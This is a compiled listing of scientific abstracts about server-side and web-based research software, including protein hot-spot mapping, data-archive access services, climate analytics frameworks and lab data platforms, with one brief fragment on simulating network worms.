Kozakov, Dima; Grove, Laurie E.; Hall, David R.; Bohnuud, Tanggis; Mottarella, Scott; Luo, Lingqi; Xia, Bing; Beglov, Dmitri; Vajda, Sandor

2016-01-01

FTMap is a computational mapping server that identifies binding hot spots of macromolecules, i.e., regions of the surface with major contributions to the ligand binding free energy. To use FTMap, users submit a protein, DNA, or RNA structure in PDB format. FTMap samples billions of positions of small organic molecules used as probes and scores the probe poses using a detailed energy expression. Regions that bind clusters of multiple probe types identify the binding hot spots, in good agreement with experimental data. FTMap serves as basis for other servers, namely FTSite to predict ligand binding sites, FTFlex to account for side chain flexibility, FTMap/param to parameterize additional probes, and FTDyn to map ensembles of protein structures. Applications include determining druggability of proteins, identifying ligand moieties that are most important for binding, finding the most bound-like conformation in ensembles of unliganded protein structures, and providing input for fragment based drug design. FTMap is more accurate than classical mapping methods such as GRID and MCSS, and is much faster than the more recent approaches to protein mapping based on mixed molecular dynamics. Using 16 probe molecules, the FTMap server finds the hot spots of an average size protein in less than an hour. Since FTFlex performs mapping for all low energy conformers of side chains in the binding site, its completion time is proportionately longer. PMID:25855957

A Web-based Distributed Voluntary Computing Platform for Large Scale Hydrological Computations

NASA Astrophysics Data System (ADS)

Demir, I.; Agliamzanov, R.

2014-12-01

Distributed volunteer computing can enable researchers and scientist to form large parallel computing environments to utilize the computing power of the millions of computers on the Internet, and use them towards running large scale environmental simulations and models to serve the common good of local communities and the world. Recent developments in web technologies and standards allow client-side scripting languages to run at speeds close to native application, and utilize the power of Graphics Processing Units (GPU). Using a client-side scripting language like JavaScript, we have developed an open distributed computing framework that makes it easy for researchers to write their own hydrologic models, and run them on volunteer computers. Users will easily enable their websites for visitors to volunteer sharing their computer resources to contribute running advanced hydrological models and simulations. Using a web-based system allows users to start volunteering their computational resources within seconds without installing any software. The framework distributes the model simulation to thousands of nodes in small spatial and computational sizes. A relational database system is utilized for managing data connections and queue management for the distributed computing nodes. In this paper, we present a web-based distributed volunteer computing platform to enable large scale hydrological simulations and model runs in an open and integrated environment.

Transfer of the left-side bias effect in perceptual expertise: The case of simplified and traditional Chinese character recognition

PubMed Central

Liu, Tianyin; Yeh, Su-Ling

2018-01-01

The left-side bias (LSB) effect observed in face and expert Chinese character perception is suggested to be an expertise marker for visual object recognition. However, in character perception this effect is limited to characters printed in a familiar font (font-sensitive LSB effect). Here we investigated whether the LSB and font-sensitive LSB effects depend on participants’ familiarity with global structure or local component information of the stimuli through examining their transfer effects across simplified and traditional Chinese scripts: the two Chinese scripts share similar overall structures but differ in the visual complexity of local components in general. We found that LSB in expert Chinese character processing could be transferred to the Chinese script that the readers are unfamiliar with. In contrast, the font-sensitive LSB effect did not transfer, and was limited to characters with the visual complexity the readers were most familiar with. These effects suggest that the LSB effect may be generalized to another visual category with similar overall structures; in contrast, effects of within-category variations such as fonts may depend on familiarity with local component information of the stimuli, and thus may be limited to the exemplars of the category that experts are typically exposed to. PMID:29608570

LabKey Server: an open source platform for scientific data integration, analysis and collaboration.

PubMed

Nelson, Elizabeth K; Piehler, Britt; Eckels, Josh; Rauch, Adam; Bellew, Matthew; Hussey, Peter; Ramsay, Sarah; Nathe, Cory; Lum, Karl; Krouse, Kevin; Stearns, David; Connolly, Brian; Skillman, Tom; Igra, Mark

2011-03-09

Broad-based collaborations are becoming increasingly common among disease researchers. For example, the Global HIV Enterprise has united cross-disciplinary consortia to speed progress towards HIV vaccines through coordinated research across the boundaries of institutions, continents and specialties. New, end-to-end software tools for data and specimen management are necessary to achieve the ambitious goals of such alliances. These tools must enable researchers to organize and integrate heterogeneous data early in the discovery process, standardize processes, gain new insights into pooled data and collaborate securely. To meet these needs, we enhanced the LabKey Server platform, formerly known as CPAS. This freely available, open source software is maintained by professional engineers who use commercially proven practices for software development and maintenance. Recent enhancements support: (i) Submitting specimens requests across collaborating organizations (ii) Graphically defining new experimental data types, metadata and wizards for data collection (iii) Transitioning experimental results from a multiplicity of spreadsheets to custom tables in a shared database (iv) Securely organizing, integrating, analyzing, visualizing and sharing diverse data types, from clinical records to specimens to complex assays (v) Interacting dynamically with external data sources (vi) Tracking study participants and cohorts over time (vii) Developing custom interfaces using client libraries (viii) Authoring custom visualizations in a built-in R scripting environment. Diverse research organizations have adopted and adapted LabKey Server, including consortia within the Global HIV Enterprise. Atlas is an installation of LabKey Server that has been tailored to serve these consortia. It is in production use and demonstrates the core capabilities of LabKey Server. Atlas now has over 2,800 active user accounts originating from approximately 36 countries and 350 organizations. It tracks roughly 27,000 assay runs, 860,000 specimen vials and 1,300,000 vial transfers. Sharing data, analysis tools and infrastructure can speed the efforts of large research consortia by enhancing efficiency and enabling new insights. The Atlas installation of LabKey Server demonstrates the utility of the LabKey platform for collaborative research. Stable, supported builds of LabKey Server are freely available for download at http://www.labkey.org. Documentation and source code are available under the Apache License 2.0.

LabKey Server: An open source platform for scientific data integration, analysis and collaboration

PubMed Central

2011-01-01

Background Broad-based collaborations are becoming increasingly common among disease researchers. For example, the Global HIV Enterprise has united cross-disciplinary consortia to speed progress towards HIV vaccines through coordinated research across the boundaries of institutions, continents and specialties. New, end-to-end software tools for data and specimen management are necessary to achieve the ambitious goals of such alliances. These tools must enable researchers to organize and integrate heterogeneous data early in the discovery process, standardize processes, gain new insights into pooled data and collaborate securely. Results To meet these needs, we enhanced the LabKey Server platform, formerly known as CPAS. This freely available, open source software is maintained by professional engineers who use commercially proven practices for software development and maintenance. Recent enhancements support: (i) Submitting specimens requests across collaborating organizations (ii) Graphically defining new experimental data types, metadata and wizards for data collection (iii) Transitioning experimental results from a multiplicity of spreadsheets to custom tables in a shared database (iv) Securely organizing, integrating, analyzing, visualizing and sharing diverse data types, from clinical records to specimens to complex assays (v) Interacting dynamically with external data sources (vi) Tracking study participants and cohorts over time (vii) Developing custom interfaces using client libraries (viii) Authoring custom visualizations in a built-in R scripting environment. Diverse research organizations have adopted and adapted LabKey Server, including consortia within the Global HIV Enterprise. Atlas is an installation of LabKey Server that has been tailored to serve these consortia. It is in production use and demonstrates the core capabilities of LabKey Server. Atlas now has over 2,800 active user accounts originating from approximately 36 countries and 350 organizations. It tracks roughly 27,000 assay runs, 860,000 specimen vials and 1,300,000 vial transfers. Conclusions Sharing data, analysis tools and infrastructure can speed the efforts of large research consortia by enhancing efficiency and enabling new insights. The Atlas installation of LabKey Server demonstrates the utility of the LabKey platform for collaborative research. Stable, supported builds of LabKey Server are freely available for download at http://www.labkey.org. Documentation and source code are available under the Apache License 2.0. PMID:21385461

The distributed annotation system.

PubMed

Dowell, R D; Jokerst, R M; Day, A; Eddy, S R; Stein, L

2001-01-01

Currently, most genome annotation is curated by centralized groups with limited resources. Efforts to share annotations transparently among multiple groups have not yet been satisfactory. Here we introduce a concept called the Distributed Annotation System (DAS). DAS allows sequence annotations to be decentralized among multiple third-party annotators and integrated on an as-needed basis by client-side software. The communication between client and servers in DAS is defined by the DAS XML specification. Annotations are displayed in layers, one per server. Any client or server adhering to the DAS XML specification can participate in the system; we describe a simple prototype client and server example. The DAS specification is being used experimentally by Ensembl, WormBase, and the Berkeley Drosophila Genome Project. Continued success will depend on the readiness of the research community to adopt DAS and provide annotations. All components are freely available from the project website http://www.biodas.org/.

The NCAR Research Data Archive's Hybrid Approach for Data Discovery and Access

NASA Astrophysics Data System (ADS)

Schuster, D.; Worley, S. J.

2013-12-01

The NCAR Research Data Archive (RDA http://rda.ucar.edu) maintains a variety of data discovery and access capabilities for it's 600+ dataset collections to support the varying needs of a diverse user community. In-house developed and standards-based community tools offer services to more than 10,000 users annually. By number of users the largest group is external and access the RDA through web based protocols; the internal NCAR HPC users are fewer in number, but typically access more data volume. This paper will detail the data discovery and access services maintained by the RDA to support both user groups, and show metrics that illustrate how the community is using the services. The distributed search capability enabled by standards-based community tools, such as Geoportal and an OAI-PMH access point that serves multiple metadata standards, provide pathways for external users to initially discover RDA holdings. From here, in-house developed web interfaces leverage primary discovery level metadata databases that support keyword and faceted searches. Internal NCAR HPC users, or those familiar with the RDA, may go directly to the dataset collection of interest and refine their search based on rich file collection metadata. Multiple levels of metadata have proven to be invaluable for discovery within terabyte-sized archives composed of many atmospheric or oceanic levels, hundreds of parameters, and often numerous grid and time resolutions. Once users find the data they want, their access needs may vary as well. A THREDDS data server running on targeted dataset collections enables remote file access through OPENDAP and other web based protocols primarily for external users. In-house developed tools give all users the capability to submit data subset extraction and format conversion requests through scalable, HPC based delayed mode batch processing. Users can monitor their RDA-based data processing progress and receive instructions on how to access the data when it is ready. External users are provided with RDA server generated scripts to download the resulting request output. Similarly they can download native dataset collection files or partial files using Wget or cURL based scripts supplied by the RDA server. Internal users can access the resulting request output or native dataset collection files directly from centralized file systems.

High-Fidelity Modeling of Computer Network Worms

DTIC Science & Technology

2004-06-22

plots the propagation of the TCP-based worm. This execution is among the largest TCP worm models simulated to date at packet-level. TCP vs . UDP Worm...the mapping of the virtual IP addresses to honeyd’s MAC address in the proxy’s ARP table. The proxy server listens for packets from both sides of...experimental setup, we used two ntium-4 ThinkPad , and an IBM Pentium-III ThinkPad ), running the proxy server and honeyd respectively. The Code Red II worm

Data Access Tools And Services At The Goddard Distributed Active Archive Center (GDAAC)

NASA Technical Reports Server (NTRS)

Pham, Long; Eng, Eunice; Sweatman, Paul

2003-01-01

As one of the largest providers of Earth Science data from the Earth Observing System, GDAAC provides the latest data from the Moderate Resolution Imaging Spectroradiometer (MODIS), Atmospheric Infrared Sounder (AIRS), Solar Radiation and Climate Experiment (SORCE) data products via GDAAC's data pool (50TB of disk cache). In order to make this huge volume of data more accessible to the public and science communities, the GDAAC offers multiple data access tools and services: Open Source Project for Network Data Access Protocol (OPeNDAP), Grid Analysis and Display System (GrADS/DODS) (GDS), Live Access Server (LAS), OpenGlS Web Map Server (WMS) and Near Archive Data Mining (NADM). The objective is to assist users in retrieving electronically a smaller, usable portion of data for further analysis. The OPeNDAP server, formerly known as the Distributed Oceanographic Data System (DODS), allows the user to retrieve data without worrying about the data format. OPeNDAP is capable of server-side subsetting of HDF, HDF-EOS, netCDF, JGOFS, ASCII, DSP, FITS and binary data formats. The GrADS/DODS server is capable of serving the same data formats as OPeNDAP. GDS has an additional feature of server-side analysis. Users can analyze the data on the server there by decreasing the computational load on their client's system. The LAS is a flexible server that allows user to graphically visualize data on the fly, to request different file formats and to compare variables from distributed locations. Users of LAS have options to use other available graphics viewers such as IDL, Matlab or GrADS. WMS is based on the OPeNDAP for serving geospatial information. WMS supports OpenGlS protocol to provide data in GIs-friendly formats for analysis and visualization. NADM is another access to the GDAAC's data pool. NADM gives users the capability to use a browser to upload their C, FORTRAN or IDL algorithms, test the algorithms, and mine data in the data pool. With NADM, the GDAAC provides an environment physically close to the data source. NADM will benefit users with mining or offer data reduction algorithms by reducing large volumes of data before transmission over the network to the user.

A Fast lattice-based polynomial digital signature system for m-commerce

NASA Astrophysics Data System (ADS)

Wei, Xinzhou; Leung, Lin; Anshel, Michael

2003-01-01

The privacy and data integrity are not guaranteed in current wireless communications due to the security hole inside the Wireless Application Protocol (WAP) version 1.2 gateway. One of the remedies is to provide an end-to-end security in m-commerce by applying application level security on top of current WAP1.2. The traditional security technologies like RSA and ECC applied on enterprise's server are not practical for wireless devices because wireless devices have relatively weak computation power and limited memory compared with server. In this paper, we developed a lattice based polynomial digital signature system based on NTRU's Polynomial Authentication and Signature Scheme (PASS), which enabled the feasibility of applying high-level security on both server and wireless device sides.

Rig Diagnostic Tools

NASA Technical Reports Server (NTRS)

Soileau, Kerry M.; Baicy, John W.

2008-01-01

Rig Diagnostic Tools is a suite of applications designed to allow an operator to monitor the status and health of complex networked systems using a unique interface between Java applications and UNIX scripts. The suite consists of Java applications, C scripts, Vx- Works applications, UNIX utilities, C programs, and configuration files. The UNIX scripts retrieve data from the system and write them to a certain set of files. The Java side monitors these files and presents the data in user-friendly formats for operators to use in making troubleshooting decisions. This design allows for rapid prototyping and expansion of higher-level displays without affecting the basic data-gathering applications. The suite is designed to be extensible, with the ability to add new system components in building block fashion without affecting existing system applications. This allows for monitoring of complex systems for which unplanned shutdown time comes at a prohibitive cost.

NASA SensorWeb and OGC Standards for Disaster Management

NASA Technical Reports Server (NTRS)

Mandl, Dan

2010-01-01

I. Goal: Enable user to cost-effectively find and create customized data products to help manage disasters; a) On-demand; b) Low cost and non-specialized tools such as Google Earth and browsers; c) Access via open network but with sufficient security. II. Use standards to interface various sensors and resultant data: a) Wrap sensors in Open Geospatial Consortium (OGC) standards; b) Wrap data processing algorithms and servers with OGC standards c) Use standardized workflows to orchestrate and script the creation of these data; products. III. Target Web 2.0 mass market: a) Make it simple and easy to use; b) Leverage new capabilities and tools that are emerging; c) Improve speed and responsiveness.

FAIMS Mobile: Flexible, open-source software for field research

NASA Astrophysics Data System (ADS)

Ballsun-Stanton, Brian; Ross, Shawn A.; Sobotkova, Adela; Crook, Penny

2018-01-01

FAIMS Mobile is a native Android application supported by an Ubuntu server facilitating human-mediated field research across disciplines. It consists of 'core' Java and Ruby software providing a platform for data capture, which can be deeply customised using 'definition packets' consisting of XML documents (data schema and UI) and Beanshell scripts (automation). Definition packets can also be generated using an XML-based domain-specific language, making customisation easier. FAIMS Mobile includes features allowing rich and efficient data capture tailored to the needs of fieldwork. It also promotes synthetic research and improves transparency and reproducibility through the production of comprehensive datasets that can be mapped to vocabularies or ontologies as they are created.

The Anatomy of a Grid portal

NASA Astrophysics Data System (ADS)

Licari, Daniele; Calzolari, Federico

2011-12-01

In this paper we introduce a new way to deal with Grid portals referring to our implementation. L-GRID is a light portal to access the EGEE/EGI Grid infrastructure via Web, allowing users to submit their jobs from a common Web browser in a few minutes, without any knowledge about the Grid infrastructure. It provides the control over the complete lifecycle of a Grid Job, from its submission and status monitoring, to the output retrieval. The system, implemented as client-server architecture, is based on the Globus Grid middleware. The client side application is based on a java applet; the server relies on a Globus User Interface. There is no need of user registration on the server side, and the user needs only his own X.509 personal certificate. The system is user-friendly, secure (it uses SSL protocol, mechanism for dynamic delegation and identity creation in public key infrastructures), highly customizable, open source, and easy to install. The X.509 personal certificate does not get out from the local machine. It allows to reduce the time spent for the job submission, granting at the same time a higher efficiency and a better security level in proxy delegation and management.

A Lightweight Remote Parallel Visualization Platform for Interactive Massive Time-varying Climate Data Analysis

NASA Astrophysics Data System (ADS)

Li, J.; Zhang, T.; Huang, Q.; Liu, Q.

2014-12-01

Today's climate datasets are featured with large volume, high degree of spatiotemporal complexity and evolving fast overtime. As visualizing large volume distributed climate datasets is computationally intensive, traditional desktop based visualization applications fail to handle the computational intensity. Recently, scientists have developed remote visualization techniques to address the computational issue. Remote visualization techniques usually leverage server-side parallel computing capabilities to perform visualization tasks and deliver visualization results to clients through network. In this research, we aim to build a remote parallel visualization platform for visualizing and analyzing massive climate data. Our visualization platform was built based on Paraview, which is one of the most popular open source remote visualization and analysis applications. To further enhance the scalability and stability of the platform, we have employed cloud computing techniques to support the deployment of the platform. In this platform, all climate datasets are regular grid data which are stored in NetCDF format. Three types of data access methods are supported in the platform: accessing remote datasets provided by OpenDAP servers, accessing datasets hosted on the web visualization server and accessing local datasets. Despite different data access methods, all visualization tasks are completed at the server side to reduce the workload of clients. As a proof of concept, we have implemented a set of scientific visualization methods to show the feasibility of the platform. Preliminary results indicate that the framework can address the computation limitation of desktop based visualization applications.

Pilots 2.0: DIRAC pilots for all the skies

NASA Astrophysics Data System (ADS)

Stagni, F.; Tsaregorodtsev, A.; McNab, A.; Luzzi, C.

2015-12-01

In the last few years, new types of computing infrastructures, such as IAAS (Infrastructure as a Service) and IAAC (Infrastructure as a Client), gained popularity. New resources may come as part of pledged resources, while others are opportunistic. Most of these new infrastructures are based on virtualization techniques. Meanwhile, some concepts, such as distributed queues, lost appeal, while still supporting a vast amount of resources. Virtual Organizations are therefore facing heterogeneity of the available resources and the use of an Interware software like DIRAC to hide the diversity of underlying resources has become essential. The DIRAC WMS is based on the concept of pilot jobs that was introduced back in 2004. A pilot is what creates the possibility to run jobs on a worker node. Within DIRAC, we developed a new generation of pilot jobs, that we dubbed Pilots 2.0. Pilots 2.0 are not tied to a specific infrastructure; rather they are generic, fully configurable and extendible pilots. A Pilot 2.0 can be sent, as a script to be run, or it can be fetched from a remote location. A pilot 2.0 can run on every computing resource, e.g.: on CREAM Computing elements, on DIRAC Computing elements, on Virtual Machines as part of the contextualization script, or IAAC resources, provided that these machines are properly configured, hiding all the details of the Worker Nodes (WNs) infrastructure. Pilots 2.0 can be generated server and client side. Pilots 2.0 are the “pilots to fly in all the skies”, aiming at easy use of computing power, in whatever form it is presented. Another aim is the unification and simplification of the monitoring infrastructure for all kinds of computing resources, by using pilots as a network of distributed sensors coordinated by a central resource monitoring system. Pilots 2.0 have been developed using the command pattern. VOs using DIRAC can tune pilots 2.0 as they need, and extend or replace each and every pilot command in an easy way. In this paper we describe how Pilots 2.0 work with distributed and heterogeneous resources providing the necessary abstraction to deal with different kind of computing resources.

Escape Excel: A tool for preventing gene symbol and accession conversion errors.

PubMed

Welsh, Eric A; Stewart, Paul A; Kuenzi, Brent M; Eschrich, James A

2017-01-01

Microsoft Excel automatically converts certain gene symbols, database accessions, and other alphanumeric text into dates, scientific notation, and other numerical representations. These conversions lead to subsequent, irreversible, corruption of the imported text. A recent survey of popular genomic literature estimates that one-fifth of all papers with supplementary gene lists suffer from this issue. Here, we present an open-source tool, Escape Excel, which prevents these erroneous conversions by generating an escaped text file that can be safely imported into Excel. Escape Excel is implemented in a variety of formats (http://www.github.com/pstew/escape_excel), including a command line based Perl script, a Windows-only Excel Add-In, an OS X drag-and-drop application, a simple web-server, and as a Galaxy web environment interface. Test server implementations are accessible as a Galaxy interface (http://apostl.moffitt.org) and simple non-Galaxy web server (http://apostl.moffitt.org:8000/). Escape Excel detects and escapes a wide variety of problematic text strings so that they are not erroneously converted into other representations upon importation into Excel. Examples of problematic strings include date-like strings, time-like strings, leading zeroes in front of numbers, and long numeric and alphanumeric identifiers that should not be automatically converted into scientific notation. It is hoped that greater awareness of these potential data corruption issues, together with diligent escaping of text files prior to importation into Excel, will help to reduce the amount of Excel-corrupted data in scientific analyses and publications.

Bringing Control System User Interfaces to the Web

DOE Office of Scientific and Technical Information (OSTI.GOV)

Chen, Xihui; Kasemir, Kay

With the evolution of web based technologies, especially HTML5 [1], it becomes possible to create web-based control system user interfaces (UI) that are cross-browser and cross-device compatible. This article describes two technologies that facilitate this goal. The first one is the WebOPI [2], which can seamlessly display CSS BOY [3] Operator Interfaces (OPI) in web browsers without modification to the original OPI file. The WebOPI leverages the powerful graphical editing capabilities of BOY and provides the convenience of re-using existing OPI files. On the other hand, it uses generic JavaScript and a generic communication mechanism between the web browser andmore » web server. It is not optimized for a control system, which results in unnecessary network traffic and resource usage. Our second technology is the WebSocket-based Process Data Access (WebPDA) [4]. It is a protocol that provides efficient control system data communication using WebSocket [5], so that users can create web-based control system UIs using standard web page technologies such as HTML, CSS and JavaScript. WebPDA is control system independent, potentially supporting any type of control system.« less

Services for Emodnet-Chemistry Data Products

NASA Astrophysics Data System (ADS)

Santinelli, Giorgio; Hendriksen, Gerrit; Barth, Alexander

2016-04-01

In the framework of Emodnet Chemistry lot, data products from regional leaders were made available in order to transform information into a database. This has been done by using functions and scripts, reading so-called enriched ODV files and inserting data directly into a cloud relational geodatabase. The main table is the one of observations which contains the main data and meta-data associated with the enriched ODV files. A particular implementation in data loading is used in order to improve on-the-fly computational speed. Data from Baltic Sea, North Sea, Mediterrean, Black Sea and part of the Atlantic region has been entered into the geodatabase, and consequently being instantly available from the OceanBrowser Emodnet portal. Furthermore, Deltares has developed an application that provides additional visualisation services for the aggregated and validated data collections. The visualisations are produced by making use of part of the OpenEarthTool stack (http://www.openearth.eu), by the integration of Web Feature Services and by the implementation of Web Processing Services. The goal is the generation of server-side plots of timeseries, profiles, timeprofiles and maps of selected parameters from data sets of selected stations. Regional data collections are retrieved using Emodnet Chemistry cloud relational geo-database. The spatial resolution in time and the intensity of data availability for selected parameters is shown using Web Service requests via the OceanBrowser Emodnet Web portal. OceanBrowser also shows station reference codes, which are used to establish a link for additional metadata, further data shopping and download.

The Climate Data Analytic Services (CDAS) Framework.

NASA Astrophysics Data System (ADS)

Maxwell, T. P.; Duffy, D.

2016-12-01

Faced with unprecedented growth in climate data volume and demand, NASA has developed the Climate Data Analytic Services (CDAS) framework. This framework enables scientists to execute data processing workflows combining common analysis operations in a high performance environment close to the massive data stores at NASA. The data is accessed in standard (NetCDF, HDF, etc.) formats in a POSIX file system and processed using vetted climate data analysis tools (ESMF, CDAT, NCO, etc.). A dynamic caching architecture enables interactive response times. CDAS utilizes Apache Spark for parallelization and a custom array framework for processing huge datasets within limited memory spaces. CDAS services are accessed via a WPS API being developed in collaboration with the ESGF Compute Working Team to support server-side analytics for ESGF. The API can be accessed using either direct web service calls, a python script, a unix-like shell client, or a javascript-based web application. Client packages in python, scala, or javascript contain everything needed to make CDAS requests. The CDAS architecture brings together the tools, data storage, and high-performance computing required for timely analysis of large-scale data sets, where the data resides, to ultimately produce societal benefits. It is is currently deployed at NASA in support of the Collaborative REAnalysis Technical Environment (CREATE) project, which centralizes numerous global reanalysis datasets onto a single advanced data analytics platform. This service permits decision makers to investigate climate changes around the globe, inspect model trends and variability, and compare multiple reanalysis datasets.

Analysis of series resonant converter with series-parallel connection

NASA Astrophysics Data System (ADS)

Lin, Bor-Ren; Huang, Chien-Lan

2011-02-01

In this study, a parallel inductor-inductor-capacitor (LLC) resonant converter series-connected on the primary side and parallel-connected on the secondary side is presented for server power supply systems. Based on series resonant behaviour, the power metal-oxide-semiconductor field-effect transistors are turned on at zero voltage switching and the rectifier diodes are turned off at zero current switching. Thus, the switching losses on the power semiconductors are reduced. In the proposed converter, the primary windings of the two LLC converters are connected in series. Thus, the two converters have the same primary currents to ensure that they can supply the balance load current. On the output side, two LLC converters are connected in parallel to share the load current and to reduce the current stress on the secondary windings and the rectifier diodes. In this article, the principle of operation, steady-state analysis and design considerations of the proposed converter are provided and discussed. Experiments with a laboratory prototype with a 24 V/21 A output for server power supply were performed to verify the effectiveness of the proposed converter.

ArcGIS Framework for Scientific Data Analysis and Serving

NASA Astrophysics Data System (ADS)

Xu, H.; Ju, W.; Zhang, J.

2015-12-01

ArcGIS is a platform for managing, visualizing, analyzing, and serving geospatial data. Scientific data as part of the geospatial data features multiple dimensions (X, Y, time, and depth) and large volume. Multidimensional mosaic dataset (MDMD), a newly enhanced data model in ArcGIS, models the multidimensional gridded data (e.g. raster or image) as a hypercube and enables ArcGIS's capabilities to handle the large volume and near-real time scientific data. Built on top of geodatabase, the MDMD stores the dimension values and the variables (2D arrays) in a geodatabase table which allows accessing a slice or slices of the hypercube through a simple query and supports animating changes along time or vertical dimension using ArcGIS desktop or web clients. Through raster types, MDMD can manage not only netCDF, GRIB, and HDF formats but also many other formats or satellite data. It is scalable and can handle large data volume. The parallel geo-processing engine makes the data ingestion fast and easily. Raster function, definition of a raster processing algorithm, is a very important component in ArcGIS platform for on-demand raster processing and analysis. The scientific data analytics is achieved through the MDMD and raster function templates which perform on-demand scientific computation with variables ingested in the MDMD. For example, aggregating monthly average from daily data; computing total rainfall of a year; calculating heat index for forecasting data, and identifying fishing habitat zones etc. Addtionally, MDMD with the associated raster function templates can be served through ArcGIS server as image services which provide a framework for on-demand server side computation and analysis, and the published services can be accessed by multiple clients such as ArcMap, ArcGIS Online, JavaScript, REST, WCS, and WMS. This presentation will focus on the MDMD model and raster processing templates. In addtion, MODIS land cover, NDFD weather service, and HYCOM ocean model will be used to illustrate how ArcGIS platform and MDMD model can facilitate scientific data visualization and analytics and how the analysis results can be shared to more audience through ArcGIS Online and Portal.

A WPS Based Architecture for Climate Data Analytic Services (CDAS) at NASA

NASA Astrophysics Data System (ADS)

Maxwell, T. P.; McInerney, M.; Duffy, D.; Carriere, L.; Potter, G. L.; Doutriaux, C.

2015-12-01

Faced with unprecedented growth in the Big Data domain of climate science, NASA has developed the Climate Data Analytic Services (CDAS) framework. This framework enables scientists to execute trusted and tested analysis operations in a high performance environment close to the massive data stores at NASA. The data is accessed in standard (NetCDF, HDF, etc.) formats in a POSIX file system and processed using trusted climate data analysis tools (ESMF, CDAT, NCO, etc.). The framework is structured as a set of interacting modules allowing maximal flexibility in deployment choices. The current set of module managers include: Staging Manager: Runs the computation locally on the WPS server or remotely using tools such as celery or SLURM. Compute Engine Manager: Runs the computation serially or distributed over nodes using a parallelization framework such as celery or spark. Decomposition Manger: Manages strategies for distributing the data over nodes. Data Manager: Handles the import of domain data from long term storage and manages the in-memory and disk-based caching architectures. Kernel manager: A kernel is an encapsulated computational unit which executes a processor's compute task. Each kernel is implemented in python exploiting existing analysis packages (e.g. CDAT) and is compatible with all CDAS compute engines and decompositions. CDAS services are accessed via a WPS API being developed in collaboration with the ESGF Compute Working Team to support server-side analytics for ESGF. The API can be executed using either direct web service calls, a python script or application, or a javascript-based web application. Client packages in python or javascript contain everything needed to make CDAS requests. The CDAS architecture brings together the tools, data storage, and high-performance computing required for timely analysis of large-scale data sets, where the data resides, to ultimately produce societal benefits. It is is currently deployed at NASA in support of the Collaborative REAnalysis Technical Environment (CREATE) project, which centralizes numerous global reanalysis datasets onto a single advanced data analytics platform. This service permits decision makers to investigate climate changes around the globe, inspect model trends, compare multiple reanalysis datasets, and variability.

A resource for benchmarking the usefulness of protein structure models.

PubMed

Carbajo, Daniel; Tramontano, Anna

2012-08-02

Increasingly, biologists and biochemists use computational tools to design experiments to probe the function of proteins and/or to engineer them for a variety of different purposes. The most effective strategies rely on the knowledge of the three-dimensional structure of the protein of interest. However it is often the case that an experimental structure is not available and that models of different quality are used instead. On the other hand, the relationship between the quality of a model and its appropriate use is not easy to derive in general, and so far it has been analyzed in detail only for specific application. This paper describes a database and related software tools that allow testing of a given structure based method on models of a protein representing different levels of accuracy. The comparison of the results of a computational experiment on the experimental structure and on a set of its decoy models will allow developers and users to assess which is the specific threshold of accuracy required to perform the task effectively. The ModelDB server automatically builds decoy models of different accuracy for a given protein of known structure and provides a set of useful tools for their analysis. Pre-computed data for a non-redundant set of deposited protein structures are available for analysis and download in the ModelDB database. IMPLEMENTATION, AVAILABILITY AND REQUIREMENTS: Project name: A resource for benchmarking the usefulness of protein structure models. Project home page: http://bl210.caspur.it/MODEL-DB/MODEL-DB_web/MODindex.php.Operating system(s): Platform independent. Programming language: Perl-BioPerl (program); mySQL, Perl DBI and DBD modules (database); php, JavaScript, Jmol scripting (web server). Other requirements: Java Runtime Environment v1.4 or later, Perl, BioPerl, CPAN modules, HHsearch, Modeller, LGA, NCBI Blast package, DSSP, Speedfill (Surfnet) and PSAIA. License: Free. Any restrictions to use by non-academics: No.

Aggregating Queries Against Large Inventories of Remotely Accessible Data

NASA Astrophysics Data System (ADS)

Gallagher, J. H. R.; Fulker, D. W.

2016-12-01

Those seeking to discover data for a specific purpose often encounter search results that are so large as to be useless without computing assistance. This situation arises, with increasing frequency, in part because repositories contain ever greater numbers of granules, and their granularities may well be poorly aligned or even orthogonal to the data-selection needs of the user. This presentation describes a recently developed service for simultaneously querying large lists of OPeNDAP-accessible granules to extract specified data. The specifications include a richly expressive set of data-selection criteria—applicable to content as well as metadata—and the service has been tested successfully against lists naming hundreds of thousands of granules. Querying such numbers of local files (i.e., granules) on a desktop or laptop computer is practical (by using a scripting language, e.g.), but this practicality is diminished when the data are remote and thus best accessed through a Web-services interface. In these cases, which are increasingly common, scripted queries can take many hours because of inherent network latencies. Furthermore, communication dropouts can add fragility to such scripts, yielding gaps in the acquired results. In contrast, OPeNDAP's new aggregated-query services enable data discovery in the context of very large inventory sizes. These capabilities have been developed for use with OPeNDAP's Hyrax server, which is an open-source realization of DAP (for "Data Access Protocol," a specification widely used in NASA, NOAA and other data-intensive contexts). These aggregated-query services exhibit good response times (on the order of seconds, not hours) even for inventories that list hundreds of thousands of source granules.

Implementation of an interactive database interface utilizing HTML, PHP, JavaScript, and MySQL in support of water quality assessments in the Northeastern North Carolina Pasquotank Watershed

NASA Astrophysics Data System (ADS)

Guion, A., Jr.; Hodgkins, H.

2015-12-01

The Center of Excellence in Remote Sensing Education and Research (CERSER) has implemented three research projects during the summer Research Experience for Undergraduates (REU) program gathering water quality data for local waterways. The data has been compiled manually utilizing pen and paper and then entered into a spreadsheet. With the spread of electronic devices capable of interacting with databases, the development of an electronic method of entering and manipulating the water quality data was pursued during this project. This project focused on the development of an interactive database to gather, display, and analyze data collected from local waterways. The database and entry form was built in MySQL on a PHP server allowing participants to enter data from anywhere Internet access is available. This project then researched applying this data to the Google Maps site to provide labeling and information to users. The NIA server at http://nia.ecsu.edu is used to host the application for download and for storage of the databases. Water Quality Database Team members included the authors plus Derek Morris Jr., Kathryne Burton and Mr. Jeff Wood as mentor.

Using Firefly Tools to Enhance Archive Web Pages

NASA Astrophysics Data System (ADS)

Roby, W.; Wu, X.; Ly, L.; Goldina, T.

2013-10-01

Astronomy web developers are looking for fast and powerful HTML 5/AJAX tools to enhance their web archives. We are exploring ways to make this easier for the developer. How could you have a full FITS visualizer or a Web 2.0 table that supports paging, sorting, and filtering in your web page in 10 minutes? Can it be done without even installing any software or maintaining a server? Firefly is a powerful, configurable system for building web-based user interfaces to access astronomy science archives. It has been in production for the past three years. Recently, we have made some of the advanced components available through very simple JavaScript calls. This allows a web developer, without any significant knowledge of Firefly, to have FITS visualizers, advanced table display, and spectrum plots on their web pages with minimal learning curve. Because we use cross-site JSONP, installing a server is not necessary. Web sites that use these tools can be created in minutes. Firefly was created in IRSA, the NASA/IPAC Infrared Science Archive (http://irsa.ipac.caltech.edu). We are using Firefly to serve many projects including Spitzer, Planck, WISE, PTF, LSST and others.

Sirepo for Synchrotron Radiation Workshop

DOE Office of Scientific and Technical Information (OSTI.GOV)

